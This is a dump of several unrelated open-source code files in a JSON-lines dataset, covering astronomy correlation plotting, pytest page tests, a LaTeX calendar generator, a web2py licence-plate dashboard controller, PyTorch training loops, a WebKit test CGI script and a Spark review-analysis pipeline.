ct3s[i]/np.std(ct3s[i][0:4500])\n    auto4_1  += ct4s[i]/np.std(ct4s[i][0:4500])\ncrossA_0 = crossA_0/np.mean(crossA_0[0:4500]); crossA_1 = crossA_1/np.mean(crossA_1[0:4500]) \ncrossB_0 = crossB_0/np.mean(crossB_0[0:4500]); crossB_1 = crossB_1/np.mean(crossB_1[0:4500])\nauto3_0  = auto3_0 /np.mean(auto3_0 [0:4500]); auto3_1  = auto3_1 /np.mean(auto3_1 [0:4500])\nauto4_0  = auto4_0 /np.mean(auto4_0 [0:4500]); auto4_1  = auto4_1 /np.mean(auto4_1 [0:4500])\n\n# Also combine all g2 together\ncrossA = ( crossA_0/np.std(crossA_0[0:4500]) + crossA_1/np.std(crossA_1[0:4500]) ); crossA = crossA/np.mean(crossA[0:4500])\ncrossB = ( crossB_0/np.std(crossB_0[0:4500]) + crossB_1/np.std(crossB_1[0:4500]) ); crossB = crossB/np.mean(crossB[0:4500])\nauto3  = ( auto3_0 /np.std(auto3_0 [0:4500]) + auto3_1 /np.std(auto3_1 [0:4500]) ); auto3  = auto3 /np.mean(auto3 [0:4500])\nauto4  = ( auto4_0 /np.std(auto4_0 [0:4500]) + auto4_1 /np.std(auto4_1 [0:4500]) ); auto4  = auto4 /np.mean(auto4 [0:4500])\n\n#auto3 = 0.5 * (auto3_0 + auto3_1)\n#auto4 = 0.5 * (auto4_0 + auto4_1)\n#\n#print (np.std(auto3_0[0:4500]))\n#print (np.std(auto3_1[0:4500]))\n\n# Plot each pair of g2 functions\nplt.figure(\"Shaula data\", figsize=(16,8))\n\nplt.subplot(221)\nplt.title(\"Cross correlation Ch A\")\nplt.plot(x, crossA_0, label=\"First  half\")\nplt.plot(x, crossA_1, label=\"Second half\")\nplt.plot(x, crossA, color=\"black\", linewidth=2)\nplt.xlim(-200,200); plt.legend()\n\nplt.subplot(222)\nplt.title(\"Cross correlation Ch B\")\nplt.plot(x, crossB_0, label=\"First  half\")\nplt.plot(x, crossB_1, label=\"Second half\")\nplt.plot(x, crossB, color=\"black\", linewidth=2)\nplt.xlim(-200,200); plt.legend()\n\nplt.subplot(223)\nplt.title(\"Auto correlation CT 3\")\nplt.plot(x, auto3_0, label=\"First  half\")\nplt.plot(x, auto3_1, label=\"Second half\")\nplt.plot(x, auto3, color=\"black\", linewidth=2)\nplt.xlim(-200,200); plt.legend()\n\nplt.subplot(224)\nplt.title(\"Auto correlation CT 4\")\nplt.plot(x, auto4_0, label=\"First  half\")\nplt.plot(x, auto4_1, label=\"Second half\")\nplt.plot(x, auto4, color=\"black\", linewidth=2)\nplt.xlim(-200,200); plt.legend()\nplt.tight_layout()\n\n#####################################################################################################################\n## Second analysis: take Acrux data and analyze the autocorrelations in different aspects\n#####################################################################################################################\nstar = \"Acrux\"\nprint(\"2. Peak part Analysis of {}\".format(star))\n\n# Read in the data (g2 functions and time/baseline parameters), only interested in autocorrelations\nchAs  = np.loadtxt(\"g2_functions/{}/ChA.txt\".format(star))\nchBs  = np.loadtxt(\"g2_functions/{}/ChB.txt\".format(star))\nct3s  = np.loadtxt(\"g2_functions/{}/CT3_clean.txt\".format(star))\nct4s  = np.loadtxt(\"g2_functions/{}/CT4_clean.txt\".format(star))\ndata  = np.loadtxt(\"g2_functions/{}/baseline.txt\".format(star))\n\n# Demo function for initializing x axis and some stuff\ndemo = chAs[0]\nx = np.arange(-1.6*len(demo)//2,+1.6*len(demo)//2,1.6)\n\n# There are 24 chunks of Acrux data, so divide both the cross and the auto-correlations in 2x12 to check for systematics\ncrossA_0 = np.zeros(len(x)); crossA_1 = np.zeros(len(x))\ncrossB_0 = np.zeros(len(x)); crossB_1 = np.zeros(len(x))\nauto3_0  = np.zeros(len(x)); auto3_1  = np.zeros(len(x))\nauto4_0  = np.zeros(len(x)); auto4_1  = np.zeros(len(x))\nfor i in range (0,12):\n    crossA_0 += chAs[i]/np.std(chAs[i][0:4500])\n    crossB_0 += chBs[i]/np.std(chBs[i][0:4500])\n    auto3_0  += ct3s[i]/np.std(ct3s[i][0:4500])\n    auto4_0  += ct4s[i]/np.std(ct4s[i][0:4500])\nfor i in range (12,24):\n    crossA_1 += chAs[i]/np.std(chAs[i][0:4500])\n    crossB_1 += chBs[i]/np.std(chBs[i][0:4500])\n    auto3_1  += ct3s[i]/np.std(ct3s[i][0:4500])\n    auto4_1  += ct4s[i]/np.std(ct4s[i][0:4500])\ncrossA_0 = crossA_0/np.mean(crossA_0[0:4500]); crossA_1 = crossA_1/np.mean(crossA_1[0:4500]) \ncrossB_0 = crossB_0/np.mean(crossB_0[0:4500]); crossB_1 = crossB_1/np.mean(crossB_1[0:4500])\nauto3_0  = auto3_0 /np.mean(auto3_0 [0:4500]); auto3_1  = auto3_1 /np.mean(auto3_1 [0:4500])\nauto4_0  = auto4_0 /np.mean(auto4_0 [0:4500]); auto4_1  = auto4_1 /np.mean(auto4_1 [0:4500])\n\n# Also combine all g2 together\ncrossA = ( crossA_0/np.std(crossA_0[0:4500]) + crossA_1/np.std(crossA_1[0:4500]) ); crossA = crossA/np.mean(crossA[0:4500])\ncrossB = ( crossB_0/np.std(crossB_0[0:4500]) + crossB_1/np.std(crossB_1[0:4500]) ); crossB = crossB/np.mean(crossB[0:4500])\nauto3  = ( auto3_0 /np.std(auto3_0 [0:4500]) + auto3_1 /np.std(auto3_1 [0:4500]) ); auto3  = auto3 /np.mean(auto3 [0:4500])\nauto4  = ( auto4_0 /np.std(auto4_0 [0:4500]) + auto4_1 /np.std(auto4_1 [0:4500]) ); auto4  = auto4 /np.mean(auto4 [0:4500])\n\n# Plot each pair of g2 functions\nplt.figure(\"Acrux data\", figsize=(24,8))\n\nplt.subplot(231)\nplt.title(\"Cross correlation Ch A\")\nplt.plot(x, crossA_0, label=\"First  half\")\nplt.plot(x, crossA_1, label=\"Second half\")\nplt.plot(x, crossA, color=\"black\", linewidth=2)\nplt.xlim(-200,200); plt.legend()\n\nplt.subplot(232)\nplt.title(\"Cross correlation Ch B\")\nplt.plot(x, crossB_0, label=\"First  half\")\nplt.plot(x, crossB_1, label=\"Second half\")\nplt.plot(x, crossB, color=\"black\", linewidth=2)\nplt.xlim(-200,200); plt.legend()\n\nplt.subplot(234)\nplt.title(\"Auto correlation CT 3\")\nplt.plot(x, auto3_0, label=\"First  half\")\nplt.plot(x, auto3_1, label=\"Second half\")\nplt.plot(x, auto3, color=\"black\", linewidth=2)\nplt.xlim(-200,200); plt.legend()\n\nplt.subplot(235)\nplt.title(\"Auto correlation CT 4\")\nplt.plot(x, auto4_0, label=\"First  half\")\nplt.plot(x, auto4_1, label=\"Second half\")\nplt.plot(x, auto4, color=\"black\", linewidth=2)\nplt.xlim(-200,200); plt.legend()\nplt.tight_layout()\n\n# Fit into the combined g2 function for peak integral and parameter fixing ...\n# ... and plot autocorrelations of CT3 and CT4 into one plot to check differences\nplt.subplot(133)\nplt.title(\"Autocorrelations of CT3 and CT4\")\n# Fit for gaining mu and sigma to fix these parameters\nxplot, popt, perr = uti.fit(auto3, x, 90, 150, 117)\nInt, dInt = uti.integral(popt, perr)\nmu3 = popt[1]; sigma3 = popt[2]\nplt.plot(x, auto3, label=\"CT3: {:.2f} +/- {:.2f} fs\".format(1e6*Int, 1e6*dInt))\nplt.plot(xplot, uti.gauss(xplot, *popt), color=\"black\")\nxplot, popt, perr = uti.fit(auto4, x, 90, 150, 117)\nInt, dInt = uti.integral(popt, perr)\nmu4 = popt[1]; sigma4 = popt[2]\nplt.plot(xplot, uti.gauss(xplot, *popt), color=\"black\")\nplt.plot(x, auto4, label=\"CT4: {:.2f} +/- {:.2f} fs\".format(1e6*Int, 1e6*dInt))\nplt.xlim(60,170); plt.legend()\n\n#####################################################################################################################\n## Third analysis: take Acrux autocorrelation data analyze chunk bunching peaks quantitatively\n#####################################################################################################################\n# Define colormap for plotting all summarized individual g2 functions\ncm_sub = np.linspace(1.0, 0.0, len(ct3s))\ncolors = [cm.viridis(x) for x in cm_sub]\n\n# Define figure which will show all autocorrelations of CT3, CT4 and the fit integrals\nplt.figure(figsize=(18,12))\nplt.subplot(221)\nints3 = []; dints3 = []; times = []\nints4 = []; dints4 = []\n\n# loop over every g2 function chunks\nfor i in range(0,len(ct3s)):\n    ct3 = ct3s[i]\n    ct4 = ct4s[i]\n\n    # Apply gaussian fits to auto correlations\n    xplotf, popt3, perr3 = uti.fit_fixed(ct3, x, 90, 150, mu3,sigma3)\n    Int, dInt = uti.integral_fixed(popt3, perr3, sigma3)\n    ints3.append(1e6*Int); dints3.append(1e6*dInt)# in femtoseconds\n\n    xplotf, popt4, perr4 = uti.fit_fixed(ct4, x, 90, 150, mu4,sigma4)\n    Int, dInt = uti.integral_fixed(popt4, perr4, sigma4)\n    ints4.append(1e6*Int); dints4.append(1e6*dInt)# in femtoseconds\n\n    # Check acquisition time of original data\n    timestring = ephem.Date(data[:,0][i])\n    print(\"{}\".format(i), timestring, Int, dInt)\n    \n    # Subplot for the auto correlation CT3\n    plt.subplot(221)\n    plt.errorbar(x, ct3+i*2e-6, yerr=0, marker=\".\", linestyle=\"--\", label=timestring, color = colors[i], alpha=0.6)\n    plt.plot(xplotf, uti.gauss_shifted(x=xplotf, a=popt3[0], mu=mu3, sigma=sigma3, shift=i), color=\"black\", linestyle=\"-\")\n\n    # Subplot for the auto correlation CT4\n    plt.subplot(222)\n    plt.errorbar(x, ct4+i*2e-6, yerr=0, marker=\".\", linestyle=\"--\", label=timestring, color = colors[i], alpha=0.6)\n    plt.plot(xplotf, uti.gauss_shifted(x=xplotf, a=popt4[0], mu=mu4, sigma=sigma4, shift=i), color=\"black\", linestyle=\"-\")\n\n\n# Figure stuff\nplt.subplot(221)\nplt.title(\"CT3 autocorrelations on {}\".format(star))\nplt.grid()\nplt.ticklabel_format(useOffset=False)\nplt.xlabel(\"Time difference (ns)\")\nplt.ylabel(\"$g^{(2)}$\")\nplt.legend(loc=\"lower right\")\nplt.xlim(70,170)\nplt.tight_layout()\nplt.subplot(222)\nplt.title(\"CT4 autocorrelations on {}\".format(star))\nplt.grid()\nplt.xlim(70,170)\n\n# plot the peak integrals\nplt.subplot(212)\nx3 = np.arange(0,len(ints3),1)\nx4 = np.arange(0.1,len(ints4)+0.1,1)\nm3, dm3 = uti.calc_array_mean(ints3, dints3)\nm4, dm4 = uti.calc_array_mean(ints4, dints4)\nplt.title(\"Peak integrals\")\nplt.errorbar(x3, y=ints3, yerr=dints3, marker=\"o\", linestyle=\"\", label=\"CT 3\", color=\"blue\")\nplt.errorbar(x4, y=ints4, yerr=dints4, marker=\"o\", linestyle=\"\", label=\"CT 4\", color=\"orange\")\nplt.fill_between(x3, y1=np.mean(ints3)+np.std(ints3), y2=np.mean(ints3)-np.std(ints3), color=\"blue\",   alpha=0.1)\nplt.fill_between(x4, y1=np.mean(ints4)+np.std(ints4), y2=np.mean(ints4)-np.std(ints4), color=\"orange\", alpha=0.1)\nplt.axhline(y=np.mean(ints3), linestyle=\"--\", alpha=0.5, color=\"blue\")\nplt.axhline(y=np.mean(ints4), linestyle=\"--\", alpha=0.5, color=\"orange\")\n\nplt.ylabel(\"Coherence time (fs)\")\n#plt.ylim(0,)\nplt.legend()\nplt.tight_layout()\n\nplt.show()","repo_name":"AndiZm/curcor","sub_path":"programs/analysis/2022/peak_part_analysis.py","file_name":"peak_part_analysis.py","file_ext":"py","file_size_in_byte":11687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40541520501","text":"__author__ = 'Alexandra Dunga'\n\nimport pytest\n\nfrom config.test_data import TestData\nfrom tests.test_base import BaseTest\n\n\n@pytest.mark.env(\"QA\")\nclass TestHome(BaseTest):\n\n    @pytest.mark.dependency()\n    @pytest.mark.xfail(reason=\"deliberate fail\")\n    def test_unsuccessful_login(self, setup_login_page):\n        setup_login_page.login(TestData.USERNAME, TestData.WRONG_PASSWORD)\n        assert False\n\n    def test_successful_login(self, setup_home_page):\n        account_name = setup_home_page.get_account_name_value()\n        assert account_name == TestData.ACCOUNT_NAME\n\n    @pytest.mark.smoke\n    def test_home_page_title(self, setup_home_page):\n        title = setup_home_page.get_home_page_title(TestData.HOME_PAGE_TITLE)\n        assert title == TestData.HOME_PAGE_TITLE\n\n    @pytest.mark.env(\"PROD\")\n    def test_home_page_header(self, setup_home_page):\n        header = setup_home_page.get_header_value()\n        assert header == TestData.HOME_PAGE_HEADER\n\n    @pytest.mark.dependency(depends=['test_unsuccessful_login'])\n    @pytest.mark.skip(reason=\"deliberate skip due to test_unsuccessful_login\")\n    def test_home_page_account_name(self, setup_home_page):\n        account_name = setup_home_page.get_account_name_value()\n        assert account_name == TestData.ACCOUNT_NAME\n\n    @pytest.mark.dependency(depends=['test_unsuccessful_login'])\n    @pytest.mark.skip(reason=\"deliberate skip due to test_unsuccessful_login\")\n    def test_home_page_logout_button(self, setup_home_page):\n        assert setup_home_page.is_logout_displayed()\n","repo_name":"alexandra-dunga-globant/POM-demo","sub_path":"tests/home_page/test_home_page.py","file_name":"test_home_page.py","file_ext":"py","file_size_in_byte":1550,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"}
+{"seq_id":"29744729533","text":"from datetime import date\r\nfrom dateutil.relativedelta import relativedelta\r\nimport pandas as pd\r\nfrom pprint import pprint\r\n\r\ndef prep_Cal(year, month):\r\n    first = date(year, month, 1)\r\n    last = first + relativedelta(months=+1, seconds=-1)\r\n    month = []\r\n    for i in range(5):\r\n        month.append(['  ' for i in range(7)])\r\n\r\n    if last.weekday() < 3:\r\n        month.append(['  ' for i in range(7)])        \r\n\r\n    week_counter = 0    \r\n    daterange = pd.date_range(first, last)\r\n\r\n    for i in daterange:\r\n        weekday_before = (i + relativedelta(days=-1)).weekday()\r\n        if i.weekday() > weekday_before:\r\n            month[week_counter][i.weekday()] = str(i.day).zfill(2)\r\n        else:\r\n            week_counter = week_counter + 1    \r\n            month[week_counter][i.weekday()] = str(i.day).zfill(2)\r\n    return month\r\n\r\ndef as_table(month):\r\n    print(r'\\begin{tabular}{ccccccc}')\r\n    print(r'Mo & Di & Mi & Do & Fr & Sa & So \\\\')\r\n    for week in month:\r\n        print(' & '.join(week), r'\\\\')\r\n    print(r'\\end{tabular}')\r\n\r\ndef as_tikz_table(month):\r\n    for cntw, week in enumerate(month):\r\n        for cntd, day in enumerate(week):\r\n            print(f'\\\\node at ({cntd},{-cntw}) {{{day}}};')\r\n\r\ndef as_tikz_table_wknd(month):\r\n    for cntw, week in enumerate(month):\r\n        for cntd, day in enumerate(week):\r\n            stil = '[wknd]' if cntd in [5,6] and \\\r\n            day != '  ' else ''\r\n            print(f'\\\\node {stil} at ({cntd},{-cntw}) {{{day}}};')\r\n\r\n\r\nseptember = prep_Cal(2021,9)\r\npprint(september)\r\nas_tikz_table(september)\r\nas_tikz_table_wknd(september)\r\n","repo_name":"UweZiegenhagen/TalksAndArticles","sub_path":"2021-Dante-Herbst/Cal-00.py","file_name":"Cal-00.py","file_ext":"py","file_size_in_byte":1607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"924252452","text":"# -*- coding: utf-8 -*-\n# this file is released under public domain and you can use without limitations\n\n#########################################################################\n## This is a sample controller\n## - index is the default action of any application\n## - user is required for authentication and authorization\n## - download is for downloading files uploaded in the db (does streaming)\n#########################################################################\nfrom gluon.tools import Service\nservice = Service()\nimport gluon.contrib.simplejson as json\n\ndef index():\n    return dict()\n\ndef alerts():\n    form = SQLFORM.grid(db.plates.plate.contains(db.alerts.plate),\n        fields=[db.plates.site_id,\n        db.plates.camera_id,\n        db.plates.plate,\n        db.plates.epoch_time,\n        db.plates.plate_img_uuid],\n        csv=False,\n        details=False,\n        headers={'plates.site_id':'Sitio',\n        'plates.camera_id':'Camara',\n        'plates.plate':'Patente',\n        'plates.epoch_time':'Fecha',\n        'plates.plate_img_uuid':'Foto'})\n    if not 'keywords' in request.vars:\n        form[0][1][1] = ''\n        form[2] = ''\n    else:\n        form[0][1][1] = ''\n    return dict(form=form)\n\ndef search():\n    form = SQLFORM.smartgrid(db.arrest, fields=[db.arrest.plate,\n        db.arrest.arrest_reason,\n        db.arrest.driver_information],\n        csv=False,\n        details=False,\n        headers={'arrest.plate':'Patente',\n        'arrest.arrest_reason':'Delito',\n        'arrest.driver_information':'Informacion'},\n        maxtextlength=50)\n    form[0] = ''\n    if not 'keywords' in request.vars:\n        form[0] = ''\n        form[1][1][1] = ''\n        form[2] = ''\n    else:\n        form[1][1][1] = ''\n    return dict(form=form)\n\n\ndef maps():\n    return dict()\n\n@service.json\ndef message():\n    from gluon.contrib.websocket_messaging import websocket_send\n    msg = request.body.read()\n    data = json.loads(msg)\n    insert = db.plates.insert(plate = data['results'][0]['plate'],\n        confidence = data['results'][0]['confidence'],\n        total_processing_time = data['processing_time_ms'],\n        plate_processing_time = data['results'][0]['processing_time_ms'],\n        epoch_time = data['epoch_time'],\n        camera_id = data['camera_id'],\n        site_id = data['site_id'],\n        img_width = data['img_width'],\n        img_height = data['img_height'],\n        plate_img_uuid = data['uuid'])\n    websocket_send('http://127.0.0.1:8888', msg, 'mykey', 'live_stream')\n    pass\n\n@service.json\ndef get_plates():\n    from gluon.contrib.websocket_messaging import websocket_send\n    data = request.body.read()\n    query = db(db.arrest.arrest==True).select()\n    return dict(arrest=query)\n\ndef user():\n    \"\"\"\n    exposes:\n    http://..../[app]/default/user/login\n    http://..../[app]/default/user/logout\n    http://..../[app]/default/user/register\n    http://..../[app]/default/user/profile\n    http://..../[app]/default/user/retrieve_password\n    http://..../[app]/default/user/change_password\n    http://..../[app]/default/user/bulk_register\n    use @auth.requires_login()\n        @auth.requires_membership('group name')\n        @auth.requires_permission('read','table name',record_id)\n    to decorate functions that need access control\n    also notice there is http://..../[app]/appadmin/manage/auth to allow administrator to manage users\n    \"\"\"\n    return dict(form=auth())\n\n\n@cache.action()\ndef download():\n    \"\"\"\n    allows downloading of uploaded files\n    http://..../[app]/default/download/[filename]\n    \"\"\"\n    return response.download(request, db)\n\n\ndef call():\n    \"\"\"\n    exposes services. for example:\n    http://..../[app]/default/call/jsonrpc\n    decorate with @services.jsonrpc the functions to expose\n    supports xml, json, xmlrpc, jsonrpc, amfrpc, rss, csv\n    \"\"\"\n    return service()\n\n\n","repo_name":"norsig/ALPR-Web-Dashboard","sub_path":"controllers/default.py","file_name":"default.py","file_ext":"py","file_size_in_byte":3847,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"21749237063","text":"import os\nimport sys\nimport random\nimport numpy as np\n\ndata_dir = os.path.normpath(os.path.join(sys.path[0], '../data'))\nin_dir = os.path.join(data_dir, 'interim', 'survival')\nout_dir = os.path.join(data_dir, 'processed', 'survival')\nbasenames = os.listdir(os.path.join(data_dir, 'interim', 'survival', 'X'))\nrandom.shuffle(basenames)\nnum_test = int(len(basenames) * TEST_FRACTION)\nnum_train = len(basenames) - num_test\nlabels = ['test'] * num_test + ['train'] * num_train\n\nfor (kind, file) in zip(labels, basenames):\n    Xs_original = np.load(os.path.join(data_dir, 'interim', 'survival', 'X', file))\n    Ys_original = np.load(os.path.join(data_dir, 'interim', 'survival', 'Y', file))\n    Xs_normalized = normalize_feature_vectors(Xs_original)\n    Xs_normalized.dump(os.path.join(data_dir, 'processed', 'survival', kind, 'X', file))\n    Ys_original.dump(os.path.join(data_dir, 'processed', 'survival', kind, 'Y', file))\n    print(file)\n","repo_name":"matthewlw/seizure-forecasting","sub_path":"src/features/split_survival.py","file_name":"split_survival.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"}
+{"seq_id":"69932598481","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport torch\n\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n\ndef train(\n    model,\n    train_dl,\n    optimizer,\n    criterion,\n    scheduler,\n    weight_decay,\n    batch_size,\n    block_size,\n):\n    \"\"\"\n    train the model\n    :param model: {torch.nn.Module} model to be trained\n    :param train_dl: {torch.utils.data.DataLoader} training data loader\n    :param optimizer: {torch.optim} optimizer\n    :param criterion: {torch.nn} loss function\n    :param scheduler: {torch.optim.lr_scheduler} learning rate scheduler\n    :param weight_decay: {float} weight decay\n    :param batch_size: {int} batch size\n    :param block_size: {int} block size\n    Returns:\n        -train_loss: {float} training loss\n        -train_acc: {float} training accuracy\n    \"\"\"\n\n    model.train()\n    train_running_loss = 0.0\n    train_running_acc = 0\n\n    text_batch, target_batch = next(iter(train_dl))\n    # for text_batch, target_batch in train_dl:\n    text_batch.to(device)\n    target_batch.to(device)\n    optimizer.zero_grad()\n    loss = 0\n    # forward pass\n    hidden, cell = model.init_hidden(batch_size)\n    for c in range(block_size):\n        pred, hidden, cell = model(text_batch[:, c], hidden, cell)\n        loss += criterion(pred, target_batch[:, c])\n\n        # L2 regularization\n        l2_loss = 0.0\n        for param in model.parameters():\n            l2_loss += torch.norm(param, p=2)\n        loss += weight_decay * l2_loss\n\n    # backward pass\n    optimizer.zero_grad()\n    loss.backward()\n    # Gradient clipping\n    torch.nn.utils.clip_grad_norm_(model.parameters(), max_norm=5.0)\n    # update parameters\n    optimizer.step()\n    loss = loss.item() / block_size\n    train_running_loss += loss\n    # accuracy\n    pred = torch.argmax(pred, dim=1)\n    target = target_batch[:, c]\n    acc = (pred == target).sum().item() / len(target)\n    train_running_acc += acc\n    scheduler.step()\n\n    return train_running_loss, train_running_acc\n\n\ndef validate(model, val_dl, optimizer, criterion, batch_size, block_size):\n    \"\"\"\n    validate the model\n    :param model: {torch.nn.Module} model to be trained\n    :param val_dl: {torch.utils.data.DataLoader} validation data loader\n    :param optimizer: {torch.optim} optimizer\n    :param criterion: {torch.nn} loss function\n    :param batch_size: {int} batch size\n    :param block_size: {int} block size\n    Returns:\n        -val_loss: {float} validation loss\n        -val_acc: {float} validation accuracy\n    \"\"\"\n\n    model.eval()\n    with torch.no_grad():\n        val_running_loss = 0.0\n        val_running_acc = 0\n\n        text_batch, target_batch = next(iter(val_dl))\n        # for text_batch, target_batch in val_dl:\n        text_batch.to(device)\n        target_batch.to(device)\n        optimizer.zero_grad()\n        loss = 0\n        # forward pass\n        hidden, cell = model.init_hidden(batch_size)\n        for c in range(block_size):\n            pred, hidden, cell = model(text_batch[:, c], hidden, cell)\n            loss += criterion(pred, target_batch[:, c])\n        loss = loss.item() / block_size\n        val_running_loss += loss\n        # accuracy\n        pred = torch.argmax(pred, dim=1)\n        target = target_batch[:, c]\n        acc = (pred == target).sum().item() / len(target)\n        val_running_acc += acc\n\n    return val_running_loss, val_running_acc\n","repo_name":"sphamtambo/peptides_gen","sub_path":"src/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3378,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"10985395666","text":"#!/usr/bin/env python3\n\nimport os\nimport sys\nimport time\nfrom ping_file_path import ping_filepath\nfrom urllib.parse import parse_qs\n\nquery = parse_qs(os.environ.get('QUERY_STRING', ''), keep_blank_values=True)\ntimeout_ms = query.get('timeout_ms', [None])[0]\nend_test = query.get('end_test', [None])[0]\n\nno_timeout = True\ntimeout_msecs = 0\nif timeout_ms is not None:\n    no_timeout = False\n    timeout_msecs = int(timeout_ms)\n\nping_file_found = False\nwhile no_timeout or timeout_msecs > 0:\n    if os.path.isfile(ping_filepath):\n        ping_file_found = True\n        break\n\n    time.sleep(0.01)\n    if not no_timeout:\n        timeout_msecs -= 10\n\nsys.stdout.write(\n    'Content-Type: text/html\\r\\n\\r\\n'\n    '<html><body>\\n'\n)\n\nif ping_file_found:\n    sys.stdout.write('Ping received.')\n    ping_file = open(ping_filepath, 'r')\n    for line in ping_file.readlines():\n        sys.stdout.write('<br>{}'.format(line.strip()))\n\n    ping_file.close()\n    if os.path.isfile(ping_filepath):\n        os.remove(ping_filepath)\nelse:\n    sys.stdout.write('Ping not received - timed out.')\n\nif end_test is not None:\n    sys.stdout.write(\n        '<script>'\n        'if (window.testRunner)'\n        '    testRunner.notifyDone();'\n        '</script>'\n    )\n\nsys.stdout.write('</body></html>')","repo_name":"WebKit/WebKit","sub_path":"LayoutTests/http/tests/contentextensions/resources/get-ping-data.py","file_name":"get-ping-data.py","file_ext":"py","file_size_in_byte":1276,"program_lang":"python","lang":"en","doc_type":"code","stars":6880,"dataset":"github-code","pt":"3"}
+{"seq_id":"71608046482","text":"#Leer una cantidad variable conocida de números e indicar finalmente cual fue el mayor número leído y cuantas\r\n#veces fue ingresado.\r\n\r\nimport msvcrt\r\ntry:\r\n    print(\"=================Valor máximo de números=================\")\r\n\r\n    list=[]\r\n    cant= int(input(\"Ingrese la cantidad de números a ingresar: \"))\r\n    for i in range (cant):\r\n        num=int(input(\"Ingrese el número: \"))\r\n        list.append(num)\r\n\r\n    mayor=max(list)\r\n    print(f\"El número mayor de la lista es {mayor}, y se repite {list.count(mayor)} veces\")\r\n\r\n\r\n\r\nexcept:\r\n    print(\"Usted ha ingresado valores que no son numeros enteros.\")\r\n\r\n\r\nmsvcrt.getch()","repo_name":"darkalejo14/Repaso-python","sub_path":"punto_02.py","file_name":"punto_02.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"2203610982","text":"##\n\n# Review Analysis 2.0 - Google\n# 'report_output'\n# Gide Inc. 2019\n\n##\n\nfrom words_analysis import *\nfrom dataCSV import *\nfrom sentiment_analysis import *\nfrom sentence_analysis import *\nfrom loggingInfo import init_logging\nfrom quality_analysis import *\nfrom spam_analysis import *\n# from punc_removal import PunctuationRemoval\n# from pyspark.sql.functions import udf, collect_list\n# from pyspark.sql.types import StringType\nfrom spam_analysis import spam_train, spam_detection\n\nspark, rev_data, auth_data = load_dataset_and_set_views()\nrev_list, auth_list = review_count(rev_data, auth_data)\nprod_data = rev_data\nlogger = init_logging()\n\n\"\"\"\nSpam Analysis Inputs\n\"\"\"\ntraining_data, test_data, tf = spam_train()\ntraining_data.cache()\ntest_data.cache()\nmodel = spam_detection(training_data, test_data)\n\n\"\"\"\nQuality Analysis Inputs\n\"\"\"\nauthor_all_percentage = all_author_review_count(auth_list)\n\n\ndef sentiment_info():\n    \"\"\"\n    :purpose extract sentiment information including: word count, high word count, low word count, and sentiment\n    :return new_rev_data: DataFrame for Sentiment Review Table (Sentiment Info on the reviews for one site)\n    \"\"\"\n\n    new_rev_data = word_count_analysis(rev_data)\n    new_rev_data = high_quality_words_analysis(new_rev_data)\n    new_rev_data = low_quality_words_analysis(new_rev_data)\n    new_rev_data = sentiment_analysis(new_rev_data)\n    new_rev_data = spam_analysis(new_rev_data, model=model, tf=tf)\n\n    return new_rev_data\n\n\ndef author_info():\n    \"\"\"\n    :purpose extract author information - word count, sentiment, low word count, high word count, quality weight\n    :return new_auth_data: DataFrame for Author Table (all author reviews)\n    \"\"\"\n\n    \"\"\"\n    temp percentage (for future debugging purposes)\n    \"\"\"\n\n    \"\"\"\n    \"\"\"\n    new_auth_data = word_count_analysis(auth_data)\n    new_auth_data = sentiment_analysis(new_auth_data)\n    new_auth_data = high_quality_words_analysis(new_auth_data)\n    new_auth_data = low_quality_words_analysis(new_auth_data)\n    new_auth_data = quality_analysis_author(new_auth_data, author_all_percentage)  # corpus_count, token_count)\n    new_auth_data = spam_analysis(new_auth_data, model=model, tf=tf)\n\n    return new_auth_data\n\n\ndef product_info():\n    \"\"\"\n    :purpose extract product information - keyword and keyword in sentence extraction, sentiment, word count, low word\n    count\n    :return new_prod_data: DataFrame for Product Review Table (Product Info including keywords for one site)\n    \"\"\"\n    product_all_percentage = all_author_review_count(rev_list)\n\n    new_prod_data = prod_data.select(\"GOOGLE_REVIEWS ID\", \"Business Rating\", \"Business Reviews\", \"Source URL\",\n                                     \"Business Name\", \"Author Name\", \"Local Guide\", \"Review Text\", \"Review Rating\",\n                                     \"Author URL\", \"Review Date\")\n\n    new_prod_data = sentence_analysis(new_prod_data)\n    new_prod_data = sentiment_kw_analysis(new_prod_data)\n    new_prod_data = sentiment_analysis(new_prod_data)\n    new_prod_data = high_quality_words_analysis(new_prod_data)\n    new_prod_data = word_count_analysis(new_prod_data, col=\"KWSentence\")\n    new_prod_data = low_quality_words_analysis(new_prod_data, col=\"KWSentence\")\n    new_prod_data = quality_analysis_product(new_prod_data, product_all_percentage)  # corpus_count, token_count)\n\n    return new_prod_data\n\n\ndef initiate():\n    \"\"\"\n    :purpose writes CSV files for each functionalities above\n    :return None: returns None - generates three folders containing csv analysis\n    \"\"\"\n\n    with open('GoogleReviewAnalysisLog.log', 'w'):\n        pass\n\n    try:\n        logger.info(\"Creating Sentiment Info CSV\")\n        sent_df = sentiment_info()\n        sent_df.write.format('csv') \\\n            .mode('overwrite').option(\"header\", \"true\").save(\"sentiment_info\")\n    except:\n        logger.error(\"Error In Creating Sentiment Info CSV\")\n\n    try:\n        logger.info(\"Creating Product Info CSV\")\n        prod_df = product_info()\n        prod_df.write.format('csv') \\\n            .mode('overwrite').option(\"header\", \"true\").save(\"product_info\")\n    except:\n        logger.error(\"Error In Creating Product Info CSV\")\n\n    try:\n        logger.info(\"Creating Author Info CSV\")\n        auth_df = author_info()\n        auth_df.write.format('csv') \\\n            .mode('overwrite').option(\"header\", \"true\").save(\"author_info\")\n    except:\n        logger.info(\"Error In Creating Author Info 